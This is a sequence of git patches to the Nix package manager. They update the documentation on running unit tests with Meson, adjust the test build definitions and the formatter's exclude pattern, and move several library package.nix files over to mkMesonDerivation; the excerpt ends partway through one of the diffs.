Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sat, 29 Jun 2024 10:59:05 -0400 Subject: [PATCH 0969/1251] Update docs on the unit tests --- doc/manual/src/contributing/testing.md | 23 ++++++++++++++++++++--- src/nix-expr-tests/meson.build | 9 ++++++++- src/nix-fetchers-tests/meson.build | 9 ++++++++- src/nix-flake-tests/meson.build | 9 ++++++++- src/nix-store-tests/meson.build | 9 ++++++++- src/nix-util-tests/meson.build | 9 ++++++++- 6 files changed, 60 insertions(+), 8 deletions(-) diff --git a/doc/manual/src/contributing/testing.md b/doc/manual/src/contributing/testing.md index 399174de5..a96ba997b 100644 --- a/doc/manual/src/contributing/testing.md +++ b/doc/manual/src/contributing/testing.md @@ -76,8 +76,25 @@ there is no risk of any build-system wildcards for the library accidentally pick ### Running tests -You can run the whole testsuite with `make check`, or the tests for a specific component with `make libfoo-tests_RUN`. -Finer-grained filtering is also possible using the [--gtest_filter](https://google.github.io/googletest/advanced.html#running-a-subset-of-the-tests) command-line option, or the `GTEST_FILTER` environment variable, e.g. `GTEST_FILTER='ErrorTraceTest.*' make check`. +You can run the whole testsuite with `meson test` from the Meson build directory, or the tests for a specific component with `meson test nix-store-tests`. +A environment variables that Google Test accepts are also worth knowing: + +1. [`GTEST_FILTER`](https://google.github.io/googletest/advanced.html#running-a-subset-of-the-tests) + + This is used for finer-grained filtering of which tests to run. + + +2. [`GTEST_BRIEF`](https://google.github.io/googletest/advanced.html#suppressing-test-passes) + + This is used to avoid logging passing tests. + +Putting the two together, one might run + +```bash +GTEST_BREIF=1 GTEST_FILTER='ErrorTraceTest.*' meson test nix-expr-tests -v +``` + +for short but comprensive output. ### Characterisation testing { #characaterisation-testing-unit } @@ -86,7 +103,7 @@ See [functional characterisation testing](#characterisation-testing-functional) Like with the functional characterisation, `_NIX_TEST_ACCEPT=1` is also used. For example: ```shell-session -$ _NIX_TEST_ACCEPT=1 make libstore-tests_RUN +$ _NIX_TEST_ACCEPT=1 meson test nix-store-tests -v ... [ SKIPPED ] WorkerProtoTest.string_read [ SKIPPED ] WorkerProtoTest.string_write diff --git a/src/nix-expr-tests/meson.build b/src/nix-expr-tests/meson.build index 04b5ae66f..71865b59f 100644 --- a/src/nix-expr-tests/meson.build +++ b/src/nix-expr-tests/meson.build @@ -81,4 +81,11 @@ this_exe = executable( install : true, ) -test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) +test( + meson.project_name(), + this_exe, + env : { + '_NIX_TEST_UNIT_DATA': meson.current_source_dir() / 'data', + }, + protocol : 'gtest', +) diff --git a/src/nix-fetchers-tests/meson.build b/src/nix-fetchers-tests/meson.build index c4f18e278..b4bc77a97 100644 --- a/src/nix-fetchers-tests/meson.build +++ b/src/nix-fetchers-tests/meson.build @@ -61,4 +61,11 @@ this_exe = executable( install : true, ) -test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) +test( + meson.project_name(), + this_exe, + env : { + '_NIX_TEST_UNIT_DATA': meson.current_source_dir() / 'data', + }, + protocol : 'gtest', +) diff --git a/src/nix-flake-tests/meson.build b/src/nix-flake-tests/meson.build index 5afba2fec..2d6bbca0f 100644 --- a/src/nix-flake-tests/meson.build +++ b/src/nix-flake-tests/meson.build @@ -62,4 +62,11 @@ this_exe = executable( install : true, ) -test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) +test( + meson.project_name(), + this_exe, + env : { + '_NIX_TEST_UNIT_DATA': meson.current_source_dir() / 'data', + }, + protocol : 'gtest', +) diff --git a/src/nix-store-tests/meson.build b/src/nix-store-tests/meson.build index 2fde70d3b..90e7d3047 100644 --- a/src/nix-store-tests/meson.build +++ b/src/nix-store-tests/meson.build @@ -85,4 +85,11 @@ this_exe = executable( install : true, ) -test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) +test( + meson.project_name(), + this_exe, + env : { + '_NIX_TEST_UNIT_DATA': meson.current_source_dir() / 'data', + }, + protocol : 'gtest', +) diff --git a/src/nix-util-tests/meson.build b/src/nix-util-tests/meson.build index 67ae48f53..4f055cabd 100644 --- a/src/nix-util-tests/meson.build +++ b/src/nix-util-tests/meson.build @@ -81,4 +81,11 @@ this_exe = executable( install : true, ) -test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) +test( + meson.project_name(), + this_exe, + env : { + '_NIX_TEST_UNIT_DATA': meson.current_source_dir() / 'data', + }, + protocol : 'gtest', +) From 4727d5c3c5a0c04bdf07219a167a2818a9914bcd Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sat, 29 Jun 2024 11:18:33 -0400 Subject: [PATCH 0970/1251] Fix format blacklist --- maintainers/flake-module.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index a39a70890..007ef034f 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -15,7 +15,7 @@ excludes = [ # We don't want to format test data # ''tests/(?!nixos/).*\.nix'' - ''^src/[^/]*-test/data/.*$'' + ''^src/[^/]*-tests/data/.*$'' # Don't format vendored code ''^doc/manual/redirects\.js$'' From 4d6bc61b8d3d0278e656bcfae61489abcf40c4a8 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 1 Jul 2024 14:36:46 -0400 Subject: [PATCH 0971/1251] Fix things --- src/libexpr-c/package.nix | 49 ++++++++------------- src/libexpr/package.nix | 55 +++++++++--------------- src/libfetchers/package.nix | 45 +++++++------------- src/libflake/package.nix | 45 +++++++------------- src/libstore-c/package.nix | 49 ++++++++------------- src/libstore/package.nix | 59 ++++++++++---------------- src/libutil-c/package.nix | 49 ++++++++------------- src/libutil/package.nix | 28 +++--------- src/nix-expr-test-support/package.nix | 47 +++++++------------- src/nix-expr-tests/package.nix | 47 +++++++------------- src/nix-fetchers-tests/package.nix | 47 +++++++------------- src/nix-flake-tests/package.nix | 47 +++++++------------- src/nix-store-test-support/package.nix | 47 +++++++------------- src/nix-store-tests/package.nix | 47 +++++++------------- src/nix-util-test-support/package.nix | 47 +++++++------------- src/nix-util-tests/package.nix | 47 +++++++------------- 16 files changed, 258 insertions(+), 497 deletions(-) diff --git a/src/libexpr-c/package.nix b/src/libexpr-c/package.nix index 33412e218..81e42cf6a 100644 --- a/src/libexpr-c/package.nix +++ b/src/libexpr-c/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , releaseTools , meson @@ -12,41 +13,30 @@ # Configuration Options , versionSuffix ? "" - -# Check test coverage of Nix. Probably want to use with at least -# one of `doCheck` or `doInstallCheck` enabled. -, withCoverageChecks ? false }: let inherit (lib) fileset; version = lib.fileContents ./.version + versionSuffix; - - mkDerivation = - if withCoverageChecks - then - # TODO support `finalAttrs` args function in - # `releaseTools.coverageAnalysis`. - argsFun: - releaseTools.coverageAnalysis (let args = argsFun args; in args) - else stdenv.mkDerivation; in -mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-expr-c"; inherit version; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions [ - ./meson.build - # ./meson.options - (fileset.fileFilter (file: file.hasExt "cc") ./.) - (fileset.fileFilter (file: file.hasExt "hh") ./.) - (fileset.fileFilter (file: file.hasExt "h") ./.) - ]; - }; + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + (fileset.fileFilter (file: file.hasExt "h") ./.) + ]; outputs = [ "out" "dev" ]; @@ -65,8 +55,8 @@ mkDerivation (finalAttrs: { # "Inline" .version so it's not a symlink, and includes the suffix. # Do the meson utils, without modification. '' - echo ${version} > .version - cp -r ${../../build-utils-meson} build-utils-meson + chmod u+w ./.version + echo ${version} > ../../.version ''; mesonFlags = [ @@ -80,8 +70,7 @@ mkDerivation (finalAttrs: { separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 - strictDeps = !withCoverageChecks; + strictDeps = true; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; @@ -89,8 +78,4 @@ mkDerivation (finalAttrs: { platforms = lib.platforms.unix ++ lib.platforms.windows; }; -} // lib.optionalAttrs withCoverageChecks { - lcovFilter = [ "*/boost/*" "*-tab.*" ]; - - hardeningDisable = [ "fortify" ]; }) diff --git a/src/libexpr/package.nix b/src/libexpr/package.nix index 855d5057e..d4296bc07 100644 --- a/src/libexpr/package.nix +++ b/src/libexpr/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , releaseTools , meson @@ -21,10 +22,6 @@ , versionSuffix ? "" -# Check test coverage of Nix. Probably want to use with at least -# one of `doCheck` or `doInstallCheck` enabled. -, withCoverageChecks ? false - # Whether to use garbage collection for the Nix language evaluator. # # If it is disabled, we just leak memory, but this is not as bad as it @@ -41,34 +38,27 @@ let inherit (lib) fileset; version = lib.fileContents ./.version + versionSuffix; - - mkDerivation = - if withCoverageChecks - then - # TODO support `finalAttrs` args function in - # `releaseTools.coverageAnalysis`. - argsFun: - releaseTools.coverageAnalysis (let args = argsFun args; in args) - else stdenv.mkDerivation; in -mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-expr"; inherit version; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions [ - ./meson.build - ./meson.options - ./primops/meson.build - (fileset.fileFilter (file: file.hasExt "cc") ./.) - (fileset.fileFilter (file: file.hasExt "hh") ./.) - ./lexer.l - ./parser.y - (fileset.fileFilter (file: file.hasExt "nix") ./.) - ]; - }; + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + ./meson.options + ./primops/meson.build + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ./lexer.l + ./parser.y + (fileset.fileFilter (file: file.hasExt "nix") ./.) + ]; outputs = [ "out" "dev" ]; @@ -97,8 +87,8 @@ mkDerivation (finalAttrs: { # "Inline" .version so it's not a symlink, and includes the suffix. # Do the meson utils, without modification. '' - echo ${version} > .version - cp -r ${../../build-utils-meson} build-utils-meson + chmod u+w ./.version + echo ${version} > ../../.version ''; mesonFlags = [ @@ -118,8 +108,7 @@ mkDerivation (finalAttrs: { separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 - strictDeps = !withCoverageChecks; + strictDeps = true; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; @@ -127,8 +116,4 @@ mkDerivation (finalAttrs: { platforms = lib.platforms.unix ++ lib.platforms.windows; }; -} // lib.optionalAttrs withCoverageChecks { - lcovFilter = [ "*/boost/*" "*-tab.*" ]; - - hardeningDisable = [ "fortify" ]; }) diff --git a/src/libfetchers/package.nix b/src/libfetchers/package.nix index 681ffa112..7786a4f35 100644 --- a/src/libfetchers/package.nix +++ b/src/libfetchers/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , releaseTools , meson @@ -15,40 +16,28 @@ # Configuration Options , versionSuffix ? "" - -# Check test coverage of Nix. Probably want to use with with at least -# one of `doCheck` or `doInstallCheck` enabled. -, withCoverageChecks ? false - }: let inherit (lib) fileset; version = lib.fileContents ./.version + versionSuffix; - - mkDerivation = - if withCoverageChecks - then - # TODO support `finalAttrs` args function in - # `releaseTools.coverageAnalysis`. - argsFun: - releaseTools.coverageAnalysis (let args = argsFun args; in args) - else stdenv.mkDerivation; in -mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-fetchers"; inherit version; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions [ - ./meson.build - (fileset.fileFilter (file: file.hasExt "cc") ./.) - (fileset.fileFilter (file: file.hasExt "hh") ./.) - ]; - }; + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; outputs = [ "out" "dev" ]; @@ -72,8 +61,8 @@ mkDerivation (finalAttrs: { # "Inline" .version so it's not a symlink, and includes the suffix. # Do the meson utils, without modification. '' - echo ${version} > .version - cp -r ${../../build-utils-meson} build-utils-meson + chmod u+w ./.version + echo ${version} > ../../.version ''; env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { @@ -86,7 +75,7 @@ mkDerivation (finalAttrs: { # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated # to work with `strictDeps`. - strictDeps = !withCoverageChecks; + strictDeps = true; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; @@ -94,8 +83,4 @@ mkDerivation (finalAttrs: { platforms = lib.platforms.unix ++ lib.platforms.windows; }; -} // lib.optionalAttrs withCoverageChecks { - lcovFilter = [ "*-tab.*" ]; - - hardeningDisable = ["fortify"]; }) diff --git a/src/libflake/package.nix b/src/libflake/package.nix index 523da4b78..f0609d5d5 100644 --- a/src/libflake/package.nix +++ b/src/libflake/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , releaseTools , meson @@ -17,40 +18,28 @@ # Configuration Options , versionSuffix ? "" - -# Check test coverage of Nix. Probably want to use with with at least -# one of `doCheck` or `doInstallCheck` enabled. -, withCoverageChecks ? false - }: let inherit (lib) fileset; version = lib.fileContents ./.version + versionSuffix; - - mkDerivation = - if withCoverageChecks - then - # TODO support `finalAttrs` args function in - # `releaseTools.coverageAnalysis`. - argsFun: - releaseTools.coverageAnalysis (let args = argsFun args; in args) - else stdenv.mkDerivation; in -mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-flake"; inherit version; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions [ - ./meson.build - (fileset.fileFilter (file: file.hasExt "cc") ./.) - (fileset.fileFilter (file: file.hasExt "hh") ./.) - ]; - }; + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; outputs = [ "out" "dev" ]; @@ -72,8 +61,8 @@ mkDerivation (finalAttrs: { # "Inline" .version so it's not a symlink, and includes the suffix. # Do the meson utils, without modification. '' - echo ${version} > .version - cp -r ${../../build-utils-meson} build-utils-meson + chmod u+w ./.version + echo ${version} > ../../.version ''; env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { @@ -86,7 +75,7 @@ mkDerivation (finalAttrs: { # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated # to work with `strictDeps`. - strictDeps = !withCoverageChecks; + strictDeps = true; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; @@ -94,8 +83,4 @@ mkDerivation (finalAttrs: { platforms = lib.platforms.unix ++ lib.platforms.windows; }; -} // lib.optionalAttrs withCoverageChecks { - lcovFilter = [ "*-tab.*" ]; - - hardeningDisable = ["fortify"]; }) diff --git a/src/libstore-c/package.nix b/src/libstore-c/package.nix index d0e81b1f9..c14cf955d 100644 --- a/src/libstore-c/package.nix +++ b/src/libstore-c/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , releaseTools , meson @@ -12,41 +13,30 @@ # Configuration Options , versionSuffix ? "" - -# Check test coverage of Nix. Probably want to use with at least -# one of `doCheck` or `doInstallCheck` enabled. -, withCoverageChecks ? false }: let inherit (lib) fileset; version = lib.fileContents ./.version + versionSuffix; - - mkDerivation = - if withCoverageChecks - then - # TODO support `finalAttrs` args function in - # `releaseTools.coverageAnalysis`. - argsFun: - releaseTools.coverageAnalysis (let args = argsFun args; in args) - else stdenv.mkDerivation; in -mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-store-c"; inherit version; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions [ - ./meson.build - # ./meson.options - (fileset.fileFilter (file: file.hasExt "cc") ./.) - (fileset.fileFilter (file: file.hasExt "hh") ./.) - (fileset.fileFilter (file: file.hasExt "h") ./.) - ]; - }; + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + (fileset.fileFilter (file: file.hasExt "h") ./.) + ]; outputs = [ "out" "dev" ]; @@ -65,8 +55,8 @@ mkDerivation (finalAttrs: { # "Inline" .version so it's not a symlink, and includes the suffix. # Do the meson utils, without modification. '' - echo ${version} > .version - cp -r ${../../build-utils-meson} build-utils-meson + chmod u+w ./.version + echo ${version} > ../../.version ''; mesonFlags = [ @@ -80,8 +70,7 @@ mkDerivation (finalAttrs: { separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 - strictDeps = !withCoverageChecks; + strictDeps = true; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; @@ -89,8 +78,4 @@ mkDerivation (finalAttrs: { platforms = lib.platforms.unix ++ lib.platforms.windows; }; -} // lib.optionalAttrs withCoverageChecks { - lcovFilter = [ "*/boost/*" "*-tab.*" ]; - - hardeningDisable = [ "fortify" ]; }) diff --git a/src/libstore/package.nix b/src/libstore/package.nix index d4859a411..df92b5b28 100644 --- a/src/libstore/package.nix +++ b/src/libstore/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , releaseTools , meson @@ -22,46 +23,35 @@ , versionSuffix ? "" , embeddedSandboxShell ? stdenv.hostPlatform.isStatic - -# Check test coverage of Nix. Probably want to use with at least -# one of `doCheck` or `doInstallCheck` enabled. -, withCoverageChecks ? false }: let inherit (lib) fileset; version = lib.fileContents ./.version + versionSuffix; - - mkDerivation = - if withCoverageChecks - then - # TODO support `finalAttrs` args function in - # `releaseTools.coverageAnalysis`. - argsFun: - releaseTools.coverageAnalysis (let args = argsFun args; in args) - else stdenv.mkDerivation; in -mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-store"; inherit version; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions [ - ./meson.build - ./meson.options - ./linux/meson.build - ./unix/meson.build - ./windows/meson.build - (fileset.fileFilter (file: file.hasExt "cc") ./.) - (fileset.fileFilter (file: file.hasExt "hh") ./.) - (fileset.fileFilter (file: file.hasExt "sb") ./.) - (fileset.fileFilter (file: file.hasExt "md") ./.) - (fileset.fileFilter (file: file.hasExt "sql") ./.) - ]; - }; + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + ./meson.options + ./linux/meson.build + ./unix/meson.build + ./windows/meson.build + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + (fileset.fileFilter (file: file.hasExt "sb") ./.) + (fileset.fileFilter (file: file.hasExt "md") ./.) + (fileset.fileFilter (file: file.hasExt "sql") ./.) + ]; outputs = [ "out" "dev" ]; @@ -93,8 +83,8 @@ mkDerivation (finalAttrs: { # "Inline" .version so it's not a symlink, and includes the suffix. # Do the meson utils, without modification. '' - echo ${version} > .version - cp -r ${../../build-utils-meson} build-utils-meson + chmod u+w ./.version + echo ${version} > ../../.version ''; mesonFlags = [ @@ -117,8 +107,7 @@ mkDerivation (finalAttrs: { separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 - strictDeps = !withCoverageChecks; + strictDeps = true; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; @@ -126,8 +115,4 @@ mkDerivation (finalAttrs: { platforms = lib.platforms.unix ++ lib.platforms.windows; }; -} // lib.optionalAttrs withCoverageChecks { - lcovFilter = [ "*/boost/*" "*-tab.*" ]; - - hardeningDisable = [ "fortify" ]; }) diff --git a/src/libutil-c/package.nix b/src/libutil-c/package.nix index ba1dbe38a..f92cb036c 100644 --- a/src/libutil-c/package.nix +++ b/src/libutil-c/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , releaseTools , meson @@ -11,41 +12,30 @@ # Configuration Options , versionSuffix ? "" - -# Check test coverage of Nix. Probably want to use with at least -# one of `doCheck` or `doInstallCheck` enabled. -, withCoverageChecks ? false }: let inherit (lib) fileset; version = lib.fileContents ./.version + versionSuffix; - - mkDerivation = - if withCoverageChecks - then - # TODO support `finalAttrs` args function in - # `releaseTools.coverageAnalysis`. - argsFun: - releaseTools.coverageAnalysis (let args = argsFun args; in args) - else stdenv.mkDerivation; in -mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-util-c"; inherit version; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions [ - ./meson.build - ./meson.options - (fileset.fileFilter (file: file.hasExt "cc") ./.) - (fileset.fileFilter (file: file.hasExt "hh") ./.) - (fileset.fileFilter (file: file.hasExt "h") ./.) - ]; - }; + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + (fileset.fileFilter (file: file.hasExt "h") ./.) + ]; outputs = [ "out" "dev" ]; @@ -63,8 +53,8 @@ mkDerivation (finalAttrs: { # "Inline" .version so it's not a symlink, and includes the suffix. # Do the meson utils, without modification. '' - echo ${version} > .version - cp -r ${../../build-utils-meson} build-utils-meson + chmod u+w ./.version + echo ${version} > ../../.version ''; mesonFlags = [ @@ -78,8 +68,7 @@ mkDerivation (finalAttrs: { separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 - strictDeps = !withCoverageChecks; + strictDeps = true; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; @@ -87,8 +76,4 @@ mkDerivation (finalAttrs: { platforms = lib.platforms.unix ++ lib.platforms.windows; }; -} // lib.optionalAttrs withCoverageChecks { - lcovFilter = [ "*/boost/*" "*-tab.*" ]; - - hardeningDisable = [ "fortify" ]; }) diff --git a/src/libutil/package.nix b/src/libutil/package.nix index aff338d16..74d4d7853 100644 --- a/src/libutil/package.nix +++ b/src/libutil/package.nix @@ -18,25 +18,12 @@ # Configuration Options , versionSuffix ? "" - -# Check test coverage of Nix. Probably want to use with at least -# one of `doCheck` or `doInstallCheck` enabled. -, withCoverageChecks ? false }: let inherit (lib) fileset; version = lib.fileContents ./.version + versionSuffix; - - mkDerivation = - if withCoverageChecks - then - # TODO support `finalAttrs` args function in - # `releaseTools.coverageAnalysis`. - argsFun: - releaseTools.coverageAnalysis (let args = argsFun args; in args) - else stdenv.mkDerivation; in mkMesonDerivation (finalAttrs: { @@ -45,6 +32,8 @@ mkMesonDerivation (finalAttrs: { workDir = ./.; fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson ../../.version ./.version ./meson.build @@ -78,12 +67,14 @@ mkMesonDerivation (finalAttrs: { ]; preConfigure = - # TODO: change release process to add `pre` in `.version`, remove it before tagging, and restore after. + # "Inline" .version so it's not a symlink, and includes the suffix. # Do the meson utils, without modification. + # + # TODO: change release process to add `pre` in `.version`, remove it + # before tagging, and restore after. '' chmod u+w ./.version echo ${version} > ../../.version - cp -r ${../../build-utils-meson} build-utils-meson ''; mesonFlags = [ @@ -103,8 +94,7 @@ mkMesonDerivation (finalAttrs: { separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 - strictDeps = !withCoverageChecks; + strictDeps = true; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; @@ -112,8 +102,4 @@ mkMesonDerivation (finalAttrs: { platforms = lib.platforms.unix ++ lib.platforms.windows; }; -} // lib.optionalAttrs withCoverageChecks { - lcovFilter = [ "*/boost/*" "*-tab.*" ]; - - hardeningDisable = [ "fortify" ]; }) diff --git a/src/nix-expr-test-support/package.nix b/src/nix-expr-test-support/package.nix index ecfb2bb09..aec0e7663 100644 --- a/src/nix-expr-test-support/package.nix +++ b/src/nix-expr-test-support/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , releaseTools , meson @@ -14,40 +15,29 @@ # Configuration Options , versionSuffix ? "" - -# Check test coverage of Nix. Probably want to use with at least -# one of `doCheck` or `doInstallCheck` enabled. -, withCoverageChecks ? false }: let inherit (lib) fileset; version = lib.fileContents ./.version + versionSuffix; - - mkDerivation = - if withCoverageChecks - then - # TODO support `finalAttrs` args function in - # `releaseTools.coverageAnalysis`. - argsFun: - releaseTools.coverageAnalysis (let args = argsFun args; in args) - else stdenv.mkDerivation; in -mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-util-test-support"; inherit version; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions [ - ./meson.build - # ./meson.options - (fileset.fileFilter (file: file.hasExt "cc") ./.) - (fileset.fileFilter (file: file.hasExt "hh") ./.) - ]; - }; + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; outputs = [ "out" "dev" ]; @@ -67,8 +57,8 @@ mkDerivation (finalAttrs: { # "Inline" .version so it's not a symlink, and includes the suffix. # Do the meson utils, without modification. '' - echo ${version} > .version - cp -r ${../../build-utils-meson} build-utils-meson + chmod u+w ./.version + echo ${version} > ../../.version ''; mesonFlags = [ @@ -82,8 +72,7 @@ mkDerivation (finalAttrs: { separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 - strictDeps = !withCoverageChecks; + strictDeps = true; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; @@ -91,8 +80,4 @@ mkDerivation (finalAttrs: { platforms = lib.platforms.unix ++ lib.platforms.windows; }; -} // lib.optionalAttrs withCoverageChecks { - lcovFilter = [ "*/boost/*" "*-tab.*" ]; - - hardeningDisable = [ "fortify" ]; }) diff --git a/src/nix-expr-tests/package.nix b/src/nix-expr-tests/package.nix index 679b6fb2a..ddd79fd55 100644 --- a/src/nix-expr-tests/package.nix +++ b/src/nix-expr-tests/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , releaseTools , meson @@ -17,40 +18,29 @@ # Configuration Options , versionSuffix ? "" - -# Check test coverage of Nix. Probably want to use with at least -# one of `doCheck` or `doInstallCheck` enabled. -, withCoverageChecks ? false }: let inherit (lib) fileset; version = lib.fileContents ./.version + versionSuffix; - - mkDerivation = - if withCoverageChecks - then - # TODO support `finalAttrs` args function in - # `releaseTools.coverageAnalysis`. - argsFun: - releaseTools.coverageAnalysis (let args = argsFun args; in args) - else stdenv.mkDerivation; in -mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-expr-tests"; inherit version; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions [ - ./meson.build - # ./meson.options - (fileset.fileFilter (file: file.hasExt "cc") ./.) - (fileset.fileFilter (file: file.hasExt "hh") ./.) - ]; - }; + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; outputs = [ "out" "dev" ]; @@ -72,8 +62,8 @@ mkDerivation (finalAttrs: { # "Inline" .version so it's not a symlink, and includes the suffix. # Do the meson utils, without modification. '' - echo ${version} > .version - cp -r ${../../build-utils-meson} build-utils-meson + chmod u+w ./.version + echo ${version} > ../../.version ''; mesonFlags = [ @@ -87,8 +77,7 @@ mkDerivation (finalAttrs: { separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 - strictDeps = !withCoverageChecks; + strictDeps = true; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; @@ -108,8 +97,4 @@ mkDerivation (finalAttrs: { platforms = lib.platforms.unix ++ lib.platforms.windows; }; -} // lib.optionalAttrs withCoverageChecks { - lcovFilter = [ "*/boost/*" "*-tab.*" ]; - - hardeningDisable = [ "fortify" ]; }) diff --git a/src/nix-fetchers-tests/package.nix b/src/nix-fetchers-tests/package.nix index 5cf18ce33..759743a8b 100644 --- a/src/nix-fetchers-tests/package.nix +++ b/src/nix-fetchers-tests/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , releaseTools , meson @@ -16,40 +17,29 @@ # Configuration Options , versionSuffix ? "" - -# Check test coverage of Nix. Probably want to use with at least -# one of `doCheck` or `doInstallCheck` enabled. -, withCoverageChecks ? false }: let inherit (lib) fileset; version = lib.fileContents ./.version + versionSuffix; - - mkDerivation = - if withCoverageChecks - then - # TODO support `finalAttrs` args function in - # `releaseTools.coverageAnalysis`. - argsFun: - releaseTools.coverageAnalysis (let args = argsFun args; in args) - else stdenv.mkDerivation; in -mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = 